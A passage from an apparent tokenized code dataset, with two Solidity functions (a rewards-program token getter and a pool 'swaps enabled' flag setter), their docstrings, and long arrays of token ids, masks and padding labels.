-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/42161/0x5B495F170BfCba51Db96Ff16Ba8BC4686CFA92b4/sources/contracts/incentivizer/types/ProductManager.sol
|
* @notice Returns the token denominatino of the program's rewards @param self The Program manager to operate on @param programId The Program to check for @return The token for the program/
|
function token(ProductManager storage self, uint256 programId) internal view returns (Token18) {
return self.programInfos[programId].token;
}
| 16,304,395 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
20392,
2860,
326,
1147,
10716,
267,
270,
15020,
434,
326,
5402,
1807,
283,
6397,
632,
891,
365,
1021,
13586,
3301,
358,
20829,
603,
632,
891,
5402,
548,
1021,
13586,
358,
866,
364,
632,
2463,
1021,
1147,
364,
326,
5402,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1147,
12,
4133,
1318,
2502,
365,
16,
2254,
5034,
5402,
548,
13,
2713,
1476,
1135,
261,
1345,
2643,
13,
288,
203,
3639,
327,
365,
18,
12890,
7655,
63,
12890,
548,
8009,
2316,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x1201FAa7258A48b820619dD57Cd8FdEb25D49b2c/sources/contracts/managed/ManagedPoolStorageLib.sol
|
* @notice Sets the "swaps enabled" flag to `enabled`. @param poolState - The byte32 state of the Pool. @param enabled - A boolean flag for whether swaps are to be enabled./
|
function setSwapsEnabled(bytes32 poolState, bool enabled) internal pure returns (bytes32) {
return poolState.insertBool(enabled, _SWAP_ENABLED_OFFSET);
}
| 4,227,861 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
20392,
11511,
326,
315,
5328,
6679,
3696,
6,
2982,
358,
1375,
5745,
8338,
632,
891,
2845,
1119,
300,
1021,
1160,
1578,
919,
434,
326,
8828,
18,
632,
891,
3696,
300,
432,
1250,
2982,
364,
2856,
1352,
6679,
854,
358,
506,
3696,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
444,
6050,
6679,
1526,
12,
3890,
1578,
2845,
1119,
16,
1426,
3696,
13,
2713,
16618,
1135,
261,
3890,
1578,
13,
288,
203,
3639,
327,
2845,
1119,
18,
6387,
7464,
12,
5745,
16,
389,
18746,
2203,
67,
13560,
67,
11271,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
